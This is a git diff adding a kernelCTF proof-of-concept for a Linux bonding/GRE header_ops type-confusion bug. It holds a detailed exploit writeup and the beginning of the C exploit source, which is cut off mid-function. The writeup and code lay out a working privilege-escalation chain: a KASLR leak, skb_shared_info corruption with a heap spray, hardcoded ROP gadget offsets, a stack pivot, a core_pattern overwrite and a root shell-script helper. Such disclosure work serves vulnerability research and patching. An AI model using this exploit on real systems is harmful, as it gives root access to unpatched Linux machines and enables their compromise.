diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/exploit.md new file mode 100644 index 000000000..5a09b1fa0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/exploit.md @@ -0,0 +1,518 @@ +# Exploit + +The bug is a `header_ops` confusion issue in bonding. This exploit uses GRE +devices as slaves. When a GRE device is enslaved to a bond, bonding copies the +slave's `header_ops` to the bond. Later, an `AF_PACKET` transmission through +the bond can call GRE's header builder with `dev` pointing to the bond. GRE +then interprets the bond's private area as GRE tunnel private data. + +The exploit uses that confusion in two ways: + +1. IP6GRE leaks a kernel text pointer from `struct bonding`. +2. IPGRE corrupts `skb_shared_info.flags`, making the skb release path call a + fake zerocopy callback. + +After that callback is hijacked, a ROP chain overwrites `core_pattern` with +`|/proc/%P/fd/666`. The userspace post-exploit code then crashes a process +whose fd `666` is a memfd containing a shell script. The kernel executes that +script as the core-pattern helper, and the script prints `/flag` to stdout. + +## Vulnerability + +Bonding copies header-related fields from the first slave: + +```c +static void bond_setup_by_slave(struct net_device *bond_dev, + struct net_device *slave_dev) +{ + bond_dev->header_ops = slave_dev->header_ops; + bond_dev->type = slave_dev->type; + bond_dev->hard_header_len = slave_dev->hard_header_len; + bond_dev->needed_headroom = slave_dev->needed_headroom; + ... +} +``` + +The bond device's private area is `struct bonding`: + +```c +struct rtnl_link_ops bond_link_ops __read_mostly = { + .kind = "bond", + .priv_size = sizeof(struct bonding), + .setup = bond_setup, + ... +}; +``` + +Normal bonding code therefore uses: + +```c +struct bonding *bond = netdev_priv(bond_dev); +``` + +GRE header builders expect a different private type: + +```c +struct ip_tunnel *t = netdev_priv(dev); +``` + +or: + +```c +struct ip6_tnl *t = netdev_priv(dev); +``` + +After bonding copies GRE `header_ops`, the GRE function still runs, but +`netdev_priv(dev)` points to `struct bonding`. Fields in `struct bonding` are +then interpreted as fields in `struct ip_tunnel` or `struct ip6_tnl`. + +## Stage 1: KASLR Leak + +`leak_kbase()` creates a bond, enslaves an IP6GRE device, and sends one packet +through an `AF_PACKET` socket bound to the bond. + +The bond is created with `IFLA_BOND_ARP_INTERVAL`, which makes bonding store +`bond_rcv_validate()` in `bond->recv_probe`: + +```c +if (bond->params.arp_interval) { + queue_delayed_work(bond->wq, &bond->arp_work, 0); + bond->recv_probe = bond_rcv_validate; +} +``` + +`struct bonding::recv_probe` is at offset `0x38`: + +```c +struct bonding { + struct net_device *dev; + struct slave __rcu *curr_active_slave; + struct slave __rcu *current_arp_slave; + struct slave __rcu *primary_slave; + struct bond_up_slave __rcu *usable_slaves; + struct bond_up_slave __rcu *all_slaves; + bool force_primary; + bool notifier_ctx; + s32 slave_cnt; + int (*recv_probe)(const struct sk_buff *, struct bonding *, + struct slave *); + ... +}; +``` + +For IP6GRE, `struct ip6_tnl::parms` starts at offset `0x18`, and +`struct __ip6_tnl_parm::laddr` starts at offset `0x20` inside `parms`. +Therefore `t->parms.laddr` is also read from offset `0x38`: + +```c +struct ip6_tnl { + struct ip6_tnl __rcu *next; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct net *net; + struct __ip6_tnl_parm parms; + ... +}; + +struct __ip6_tnl_parm { + char name[IFNAMSIZ]; + int link; + __u8 proto; + __u8 encap_limit; + __u8 hop_limit; + bool collect_md; + __be32 flowinfo; + __u32 flags; + struct in6_addr laddr; + struct in6_addr raddr; + ... +}; +``` + +The confused IP6GRE header builder copies that value into the IPv6 source +address: + +```c +static int ip6gre_header(struct sk_buff *skb, struct net_device *dev, + unsigned short type, const void *daddr, + const void *saddr, unsigned int len) +{ + struct ip6_tnl *t = netdev_priv(dev); + struct ipv6hdr *ipv6h; + + ipv6h = skb_push(skb, t->hlen + sizeof(*ipv6h)); + ... + ipv6h->saddr = t->parms.laddr; + ipv6h->daddr = t->parms.raddr; + ... +} +``` + +The IPv6 source address begins at byte `0x08` of the IPv6 header, so the qword +at offset `0x08` in the received packet is really `bond->recv_probe`. The +exploit subtracts the offset of `bond_rcv_validate()`. + +## Stage 2: proc_dir_entry leak + +The fake zerocopy callback needs kernel memory whose first qword is a chosen +function pointer at a known kernel address. + +Bonding creates a `struct proc_dir_entry` for each bond. Short proc names are +stored inline in `proc_dir_entry::inline_name`. The exploit creates bonds whose +names are the raw bytes of gadget addresses, leaks the `proc_dir_entry` pointer +with the same IP6GRE leak primitive, and adds `0xac` to reach `inline_name`. + +Two inline-name objects are prepared: + +- `addr1`: first pivot gadget +- `addr2`: second pivot gadget + +Later, `skb_shared_info.destructor_arg` points to `addr1`, so the zerocopy path +treats `addr1` as `struct ubuf_info` and calls the function pointer stored +there. + +## Stage 3: skb_shared_info Corruption + +The important part of the trigger is the `packet_snd()` path for a zero-length +`AF_PACKET`/`SOCK_DGRAM` packet sent through the bond: + +```c +hlen = LL_RESERVED_SPACE(dev); +tlen = dev->needed_tailroom; +linear = __virtio16_to_cpu(vio_le(), vnet_hdr.hdr_len); +linear = max(linear, min_t(int, len, dev->hard_header_len)); +skb = packet_alloc_skb(sk, hlen + tlen, hlen, len, linear, + msg->msg_flags & MSG_DONTWAIT, &err); +if (skb == NULL) + goto out_unlock; + +skb_reset_network_header(skb); + +err = -EINVAL; +if (sock->type == SOCK_DGRAM) { + offset = dev_hard_header(skb, dev, ntohs(proto), addr, NULL, len); + if (unlikely(offset < 0)) + goto out_free; +} +``` + +`packet_alloc_skb()` reserves the third argument as skb headroom: + +```c +skb = sock_alloc_send_pskb(sk, prepad + linear, len - linear, noblock, + err, PAGE_ALLOC_COSTLY_ORDER); +... +skb_reserve(skb, reserve); +``` + +If `LL_RESERVED_SPACE(dev)` is made exactly `0x3ec0`, the zero-length send makes +the allocated skb's data pointer land here: + +```text +skb->data = skb->head + 0x3ec0 +``` + +The skb head allocation is order-2, and `skb_shared_info` sits at the end of the +usable head area: + +```text +skb_shinfo(skb) = skb->head + (0x4000 - sizeof(struct skb_shared_info)) + = skb->head + 0x3ec0 +``` + +So `skb->data` points exactly to `skb_shared_info`. + +The fields that matter for this corruption are: + +```c +struct skb_shared_info { + __u8 flags; + __u8 meta_len; + __u8 nr_frags; + __u8 tx_flags; + ... + void *destructor_arg; + skb_frag_t frags[MAX_SKB_FRAGS]; +}; +``` + +After allocating the skb, `packet_snd()` calls `dev_hard_header()`. Because the +bond copied the GRE slave's `header_ops`, that call reaches `ipgre_header()` +with `dev` still pointing to the bond: + +```c +static int ipgre_header(struct sk_buff *skb, struct net_device *dev, + unsigned short type, + const void *daddr, const void *saddr, unsigned int len) +{ + struct ip_tunnel *t = netdev_priv(dev); + struct iphdr *iph; + struct gre_base_hdr *greh; + + iph = skb_push(skb, t->hlen + sizeof(*iph)); + greh = (struct gre_base_hdr *)(iph + 1); + greh->flags = gre_tnl_flags_to_gre_flags(t->parms.o_flags); + greh->protocol = htons(type); + ... +} +``` + +Due to the type confusion, `t` points into `struct bonding`. The confused +`t->hlen` value is zero, so `skb_push()` moves `skb->data` back by only +`sizeof(struct iphdr) == 0x14`: + +```text +iph = skb->head + 0x3eac +greh = skb->head + 0x3ec0 +``` + +`greh` therefore overlaps `skb_shared_info`: + +```text +greh->flags overlaps skb_shared_info.flags/meta_len +greh->protocol overlaps skb_shared_info.nr_frags/tx_flags +``` + +The value for `greh->flags` also comes from the confused bond object. +`struct ip_tunnel::parms.o_flags` is at offset `0x6e`. +In `struct bonding`, offset `0x6e` is the sixth byte of `bond_list.next`. + +Those bytes are `0xff 0xff` for a kernel pointer, so the confused +`t->parms.o_flags` is `0xffff`. Therefore: + +```text +gre_tnl_flags_to_gre_flags(0xffff) = 0x07ff +``` + +The write to `greh->flags` stores `0x07ff` over the first two bytes of +`skb_shared_info`. The first byte is `skb_shared_info.flags`, so bit 0 is set: + +```c +SKBFL_ZEROCOPY_ENABLE = BIT(0) +``` + +Neither the send path nor the allocation path initializes the remaining +`skb_shared_info` fields. When the skb head is allocated from a page that still +contains the xattr payload, those fields keep the sprayed values. + +The trigger repeats this sequence while spraying xattr values: + +```c +send(packet_fd, NULL, 0, 0); +spray_xattr_order_2_pages(xattr_spray_payload); +``` + +The xattr syscall copies the prepared 0x4000-byte payload into an order-2 page +and frees that page before returning. In the infinite loop, a spray performed +after one send primes freed order-2 pages for later `packet_alloc_skb()` calls. + +At this point, the skb release path has become a callback primitive. The skb +head is allocated from a page that already contains the sprayed payload, and +`ipgre_header()` corrupts `skb_shared_info.flags` so the release path trusts the +stale `destructor_arg` and pivot data left in the rest of `skb_shared_info`. + +### Making hlen 0x3ec0 + +The remaining detail is how the bond gets `LL_RESERVED_SPACE(dev) == 0x3ec0`. +The trigger creates 329 GRE devices and links them into a chain: + +```text +if0 <- if1 <- if2 <- ... <- if328 +``` + +The first 8 GRE devices use FOU encapsulation, and the rest use +`TUNNEL_ENCAP_NONE`. + +`ip_tunnel_bind_dev()` accumulates headroom from the current tunnel and its +lower device: + +```c +int hlen = LL_MAX_HEADER; +int t_hlen = tunnel->hlen + sizeof(struct iphdr); + +if (tdev) + hlen = tdev->hard_header_len + tdev->needed_headroom; + +dev->needed_headroom = t_hlen + hlen; +``` + +The relevant sizes are: + +```text +plain GRE: tunnel->hlen = 0x4, t_hlen = 0x18, hard_header_len = 0x18 +FOU GRE: tunnel->hlen = 0xc, t_hlen = 0x20, hard_header_len = 0x20 +LL_MAX_HEADER = 0x80 +``` + +The first 8 FOU GRE devices bootstrap the value to `0x260`. `if8` is plain GRE +over a FOU lower device, so it becomes `0x298`. The remaining 320 plain GRE +links each add `0x30`: + +```text +N328 = 0x298 + 320 * 0x30 = 0x3e98 +``` + +When the last GRE is enslaved, bonding copies those values: + +```text +bond->needed_headroom = 0x3e98 +bond->hard_header_len = 0x18 +``` + +Then `LL_RESERVED_SPACE(bond)` becomes: + +```text +hard_header_len + needed_headroom = 0x18 + 0x3e98 = 0x3eb0 +LL_RESERVED_SPACE = align_down(0x3eb0, 0x10) + 0x10 = 0x3ec0 +``` + +## Stage 4: Fake skb_shared_info and ROP + +The control-flow hijack uses the skb zerocopy destructor path: + +```c +static inline struct ubuf_info *skb_zcopy(struct sk_buff *skb) +{ + bool is_zcopy = skb && skb_shinfo(skb)->flags & SKBFL_ZEROCOPY_ENABLE; + + return is_zcopy ? skb_uarg(skb) : NULL; +} + +static inline void skb_zcopy_clear(struct sk_buff *skb, bool success) +{ + struct ubuf_info *uarg = skb_zcopy(skb); + + if (uarg) + uarg->callback(skb, uarg, success); +} +``` + +`skb_uarg(skb)` reads `skb_shared_info.destructor_arg` and treats it as +`struct ubuf_info`: + +```c +struct ubuf_info { + void (*callback)(struct sk_buff *, struct ubuf_info *, bool); + refcount_t refcnt; + u8 flags; +}; +``` + +At release time, the skb still points to the order-2 head allocation that was +reused from the xattr spray. `skb_shinfo(skb)` points to the tail of that skb +head, where the stale sprayed bytes provide the fake shared-info fields. + +`skb_release_data()` keeps: + +```text +r12 = skb_shinfo(skb) +r13 = skb +``` + +The relevant callback path looks like this: + +```nasm +mov eax, dword [r13 + 0xc0] +add rax, qword [r13 + 0xc8] ; rax = skb_shinfo(skb) +mov rsi, qword [rax + 0x28] ; rsi = skb_shared_info.destructor_arg +mov rax, qword [rsi] ; rax = uarg->callback +mov rdi, r13 ; rdi = skb +call __x86_indirect_thunk_array +``` + +`rop_setup_core_pattern_overwrite()` prepares the fake object before the +trigger. Let `S` be the fake `skb_shared_info` address: + +```text +S + 0x28 = destructor_arg = addr1 +S + 0x38 = pivot padding +S + 0x40 = addr2 - 8 +S + 0x48 = pivot padding +S + 0x50 = stack_pivot_gadget +S + 0x58 = start of the ROP chain +``` + +`addr1` and `addr2` point into `proc_dir_entry::inline_name` objects created in +Stage 2. The first qword at `addr1` is the first pivot gadget, and the first +qword at `addr2` is the second pivot gadget. + +The first callback therefore starts at: + +```nasm +mov rax, qword [r12 + 0x40] +lea rdi, [r12 + 0x38] +mov rax, qword [rax + 0x8] +call __x86_indirect_thunk_array +``` + +Since `r12 == S`, this does: + +```text +rax = *(S + 0x40) = addr2 - 8 +rdi = S + 0x38 +rax = *(rax + 8) = *(addr2) = second_pivot_gadget +call second_pivot_gadget +``` + +The second pivot gadget is: + +```nasm +mov rbp, rdi +push rbx +mov rax, qword [rdi + 0x18] +xor ebx, ebx +call __x86_indirect_thunk_array +``` + +Because `rdi == S + 0x38`, this sets up the final stack pivot: + +```text +rbp = S + 0x38 +rax = *(S + 0x38 + 0x18) = *(S + 0x50) = stack_pivot_gadget +call stack_pivot_gadget +``` + +The stack pivot gadget is: + +```nasm +mov rsp, rbp +pop rbp +pop r15 +pop r13 +pop r12 +ret +``` + +It changes the kernel stack pointer to the sprayed xattr payload: + +```text +rsp = S + 0x38 +pop rbp +pop r15 +pop r13 +pop r12 +ret ; *(S + 0x58) +``` + +`*(S + 0x58)` is the first real ROP gadget, so execution continues on the +sprayed fake stack. + +The ROP chain writes `|/proc/%P/fd/666` to `core_pattern`. + +Finally, the chain performs `ret2usr`. Execution resumes in +`post_exploit_trigger_core_pattern()` after the kernel has overwritten +`core_pattern`. + +That function creates a memfd, writes a shell script to it, `dup2` it to fd +`666`, and intentionally crashes: + +```sh +#!/bin/bash +PID=`pidof win` +cat /flag>/proc/$PID/fd/1 +echo o>/proc/sysrq-trigger +``` + +Because `core_pattern` is `|/proc/%P/fd/666`, the kernel executes the crashing +process's fd `666` as the root core-pattern helper. The helper reads `/flag` +and writes it to stdout of the process named `win`. diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..512a886fc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/docs/vulnerability.md @@ -0,0 +1,31 @@ +# Vulneribility + +When a non-Ethernet device (e.g. GRE tunnel) is enslaved to a bond, bond_setup_by_slave() directly copies the slave's header_ops to the bond device: + + bond_dev->header_ops = slave_dev->header_ops; + +This causes a type confusion when dev_hard_header() is later called on the bond device. Functions like ipgre_header(), ip6gre_header(), all use +netdev_priv(dev) to access their device-specific private data. When called with the bond device, netdev_priv() returns the bond's private +data (struct bonding) instead of the expected type (e.g. struct ip_tunnel). + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` capability is required. + - Kernel configuration: `CONFIG_BONDING` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability +- [commit 1284cd3a2b740d0118458d2ea470a1e5bc19b187](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1284cd3a2b740d0118458d2ea470a1e5bc19b187) + +## Commit which fixed the vulnerability +- [commit 950803f7254721c1c15858fbbfae3deaaeeecb11](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=950803f7254721c1c15858fbbfae3deaaeeecb11) + +## Affected kernel versions +- 2.6.24 - 6.12.77 + +## Affected component, subsystem +- net/bonding + +## Cause +- Type-Confusion + + diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/Makefile b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/Makefile new file mode 100644 index 000000000..09ff56415 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/Makefile @@ -0,0 +1,2 @@ +exploit: exp.c + gcc exp.c -static -o exploit diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exp.c b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exp.c new file mode 100644 index 000000000..2d8d794e6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exp.c @@ -0,0 +1,837 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef BOND_MODE_ACTIVEBACKUP +#define BOND_MODE_ACTIVEBACKUP 1 +#endif + +#ifndef NLMSG_TAIL +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) +#endif + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) { \ + fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ + exit(1); \ + } \ + __res; \ + }) + +#define CORE_PATTERN_CMD_WORD0 UINT64_C(0x252f636f72702f7c) // "|/proc/%" +#define CORE_PATTERN_CMD_WORD1 UINT64_C(0x3636362f64662f50) // "P/fd/666" +#define IFI_CHANGE_ALL UINT32_MAX +#define WIN_PROCESS_NAME "win" +#define WIN_STDOUT_FD_STR "1" + +enum { + RTNETLINK_REQ_BUF_SIZE = 1024, + RTNETLINK_REPLY_BUF_SIZE = 4096, + SETLINK_REQ_ATTR_BUF_SIZE = 512, + PACKET_BUF_SIZE = 0x10000, + PAGE_SIZE = 0x1000, + USERNS_MAP_BUF_SIZE = 0x100, + XATTR_SPRAY_SIZE = 0x4000, + XATTR_SPRAY_QWORDS = XATTR_SPRAY_SIZE / sizeof(uint64_t), + XATTR_SPRAY_PATH_SIZE = 32, + XATTR_SPRAY_FILE_MODE = 0777, + PROC_DIR_ENTRY_INLINE_NAME_SIZE = 8, + PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE = PROC_DIR_ENTRY_INLINE_NAME_SIZE + 1, + U64_SIZE = sizeof(uint64_t), + LEAK_PACKET_MIN_SIZE = 0x28, + IPV4_OCTET_RANGE = 256, + GRE_ENCAP_BOOTSTRAP_IFS = 8, + WIN_STDOUT_FD = 666, +}; + +enum { + // Accepted by rtnetlink; the exact type is unused. + IFINFO_DUMMY_TYPE = 0xde, + // Chained GRE devices make dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE. + NUM_GRE_IFS = 329, + BOND_ARP_INTERVAL_MS = 1000, + + // Random fixed ifindexes + BOND_IFINDEX_FOR_KASLR_LEAK = 0xdead, + BOND_IFINDEX_FOR_PIVOT_LEAK1 = 0xbeef, + BOND_IFINDEX_FOR_PIVOT_LEAK2 = 0xcafe, + BOND_IFINDEX_FOR_TRIGGER = 0xbabe, + GRE_INDEX_BASE = 0x41424344, + + PACKET_NO_PROTOCOL = 0, +}; + +enum { + BOND_RCV_VALIDATE_LEAK_OFFS = 0x08, + PROC_DIR_ENTRY_LEAK_OFFS = 0x20, + SKB_SHARED_INFO_IDX = 0x7d8, + SKB_SHINFO_DESTRUCTOR_ARG_QWORD = 0x5, + SKB_SHINFO_PIVOT_POP_RDI_QWORD = 0x7, + SKB_SHINFO_PIVOT_ARG_QWORD = 0x8, + SKB_SHINFO_STACK_PIVOT_QWORD = 0xa, + SKB_SHINFO_ROP_CHAIN_QWORD = 0xb, + PROC_DIR_ENTRY_OFFS_INLINE_NAME = 0xac, +}; + +enum { + BOND_RCV_VALIDATE_OFFS = 0xb69140, + CORE_PATTERN_OFFS = 0x29bbca0, + + // mov rax, [r12+0x40]; lea rdi, [r12+0x38]; mov rax, [rax+8]; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS = 0x008978c7, + // mov rbp, rdi; push rbx; mov rax, [rdi+0x18]; xor ebx, ebx; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS = 0x00a1fc03, + // mov rsp, rbp; pop rbp; pop r15; pop r13; pop r12; ret; + GADGET_STACK_PIVOT_OFFS = 0x0018a3e8, + // pop rdi; ret; + GADGET_POP_RDI_RET_OFFS = 0x012ca118, + // pop rcx; pop rax; ret; + GADGET_POP_RCX_POP_RAX_RET_OFFS = 0x012b1dbd, + // mov qword ptr [rax], rcx; ret; + GADGET_MOV_PTR_RAX_RCX_RET_OFFS = 0x007687eb, + // swapgs; iretq; + GADGET_SWAPGS_IRETQ_OFFS = 0x14011c6, + IRETQ_DUMMY_VALUE = 0xdead, +}; + +static const char *get_rtnetlink_operation(uint16_t type) { + switch (type) { + case RTM_NEWLINK: + return "create link"; + case RTM_DELLINK: + return "delete link"; + case RTM_GETLINK: + return "get link info"; + case RTM_NEWADDR: + return "add address"; + case RTM_DELADDR: + return "delete address"; + case RTM_GETADDR: + return "get address"; + case RTM_NEWROUTE: + return "add route"; + case RTM_DELROUTE: + return "delete route"; + case RTM_GETROUTE: + return "get route"; + default: + return "unknown operation"; + } +} + +static void explain_rtnetlink_error(struct nlmsghdr *req, int error) { + const char *operation = get_rtnetlink_operation(req->nlmsg_type); + + fprintf(stderr, "RTNetlink operation '%s' failed: ", operation); + + switch (-error) { + case EACCES: + fprintf(stderr, "Permission denied. This operation requires CAP_NET_ADMIN " + "capability.\n"); + break; + + case EADDRINUSE: + fprintf(stderr, "Address/resource already in use\n"); + break; + + case EADDRNOTAVAIL: + fprintf(stderr, "Address not available on this device\n"); + break; + + case ENODEV: + fprintf(stderr, "Network interface does not exist\n"); + break; + + case EINVAL: + fprintf(stderr, "Invalid parameter/configuration:\n"); + // Additional parsing of req->nlmsg_type specific structures + if (req->nlmsg_type == RTM_NEWADDR) { + fprintf(stderr, "- Check address family and prefix length\n"); + fprintf(stderr, "- Verify interface exists and is up\n"); + } else if (req->nlmsg_type == RTM_NEWROUTE) { + fprintf(stderr, "- Check route parameters (gateway, metrics)\n"); + fprintf(stderr, "- Verify routing table exists\n"); + } + break; + + case EMSGSIZE: + fprintf(stderr, "Message too large or incorrectly formatted\n"); + break; + + case ENOBUFS: + fprintf(stderr, "System resource shortage, try again later\n"); + break; + + case ESRCH: + fprintf(stderr, "Resource (route/rule/address) not found\n"); + break; + + case EEXIST: + fprintf(stderr, "Resource already exists\n"); + break; + + default: + fprintf(stderr, "%s\n", strerror(-error)); + } +} +static int send_and_recv_rtnetlink(int sock, struct nlmsghdr *nlh) { + static long nlmsg_seq_idx = 0; + + struct sockaddr_nl dest_addr = { + .nl_family = AF_NETLINK, .nl_pid = 0, .nl_groups = 0}; + + // Set sequence number + nlh->nlmsg_seq = ++nlmsg_seq_idx; + nlh->nlmsg_flags |= NLM_F_ACK; + + struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len}; + + struct msghdr msg = {.msg_name = &dest_addr, + .msg_namelen = sizeof(dest_addr), + .msg_iov = &iov, + .msg_iovlen = 1}; + + if (sendmsg(sock, &msg, 0) < 0) { + fprintf(stderr, "sendmsg: %s\n", strerror(errno)); + return 0; + } + + char reply_buf[RTNETLINK_REPLY_BUF_SIZE]; + struct nlmsghdr *nh; + + while (1) { + iov.iov_base = reply_buf; + iov.iov_len = sizeof(reply_buf); + + int len = recvmsg(sock, &msg, 0); + if (len < 0) { + fprintf(stderr, "recvmsg: %s\n", strerror(errno)); + return 0; + } + + for (nh = (struct nlmsghdr *)reply_buf; NLMSG_OK(nh, len); + nh = NLMSG_NEXT(nh, len)) { + if (nh->nlmsg_seq != nlmsg_seq_idx) + continue; // Not our message + + if (nh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *err = NLMSG_DATA(nh); + + if (err->error == 0) { // Success + return 1; + } + + explain_rtnetlink_error(nlh, err->error); + return 0; + } + + if (nh->nlmsg_type == NLMSG_DONE) + return 1; + } + } +} + +static void add_rtattr(struct nlmsghdr *n, size_t maxlen, int type, + const void *data, size_t alen) { + size_t len = RTA_LENGTH(alen); + struct rtattr *rta; + + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { + fprintf(stderr, "rtattr too long\n"); + return; + } + + rta = NLMSG_TAIL(n); + rta->rta_type = type; + rta->rta_len = len; + if (alen) + memcpy(RTA_DATA(rta), data, alen); + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); +} + +static int setup_ip6gre_slave_interface(int rtnetlink_fd, int bond_ifindex, + const char *local_addr, + const char *remote_addr, + const char *ip6gre_name) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = 0, + .i.ifi_flags = IFF_SLAVE, + }; + + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "ip6gre", + strlen("ip6gre") + 1); + + struct rtattr *ip6greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in6_addr local_ipv6; + if (inet_pton(AF_INET6, local_addr, &local_ipv6) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv6, + sizeof(local_ipv6)); + + struct in6_addr remote_ipv6; + if (inet_pton(AF_INET6, remote_addr, &remote_ipv6) < 1) { + puts("inet_pton for remote_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_REMOTE, &remote_ipv6, + sizeof(remote_ipv6)); + + // Update lengths + ip6greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)ip6greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, ip6gre_name, + strlen(ip6gre_name) + 1); + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} +static int setup_bond_interface(int rtnetlink_fd, int bond_ifindex, const char *bond_name) { + /* + * Create bond interface + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req1 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = IFINFO_DUMMY_TYPE, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = bond_ifindex, + .i.ifi_flags = IFF_UP, + }; + + // Create nested attributes for bond interface + struct rtattr *linkinfo1 = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_LINKINFO, NULL, 0); + + // Specify bond type + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_KIND, "bond", strlen("bond") + 1); + + // Add bond-specific options + struct rtattr *bondinfo = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_DATA, NULL, 0); + + // Active-backup mode is enough to route packets through the slave path. + char mode = BOND_MODE_ACTIVEBACKUP; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_MODE, &mode, sizeof(mode)); + + uint32_t arp_interval = BOND_ARP_INTERVAL_MS; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_ARP_INTERVAL, &arp_interval, + sizeof(arp_interval)); + + // Update lengths + bondinfo->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)bondinfo; + linkinfo1->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)linkinfo1; + + // Set interface name + add_rtattr(&req1.n, sizeof(req1), IFLA_IFNAME, bond_name, + strlen(bond_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req1.n); +} + +static int setup_bond_af_packet_sock(int proto_type, int ifindex_to_bind) { + int packet_fd = SYSCHK(socket(AF_PACKET, SOCK_DGRAM, proto_type)); + + struct sockaddr_ll saddr2 = {0}; + saddr2.sll_family = AF_PACKET; + saddr2.sll_protocol = proto_type; + saddr2.sll_ifindex = ifindex_to_bind; + SYSCHK(bind(packet_fd, (struct sockaddr *)&saddr2, sizeof(saddr2))); + + return packet_fd; +} + +static int setup_interface_up(int if_index) { + struct { + struct nlmsghdr nh; + struct ifinfomsg ifi; + char attrbuf[SETLINK_REQ_ATTR_BUF_SIZE]; + } req = {0}; + + // Create netlink socket + int sock = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // Setup netlink header + req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nh.nlmsg_flags = NLM_F_REQUEST; + req.nh.nlmsg_type = RTM_SETLINK; + + // Setup interface info + req.ifi.ifi_family = AF_UNSPEC; + req.ifi.ifi_index = if_index; + + req.ifi.ifi_flags = IFF_UP; + req.ifi.ifi_change = IFF_UP; + + int ok = send_and_recv_rtnetlink(sock, &req.nh); + close(sock); + return ok; +} + +static int setup_gre_interface(int rtnetlink_fd, int gre_ifindex, + const char *gre_name, const char *local_addr, + uint16_t encap_type) { + /* + * Create a GRE interface. It is linked into the chain later with + * setup_gre_link(). + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = 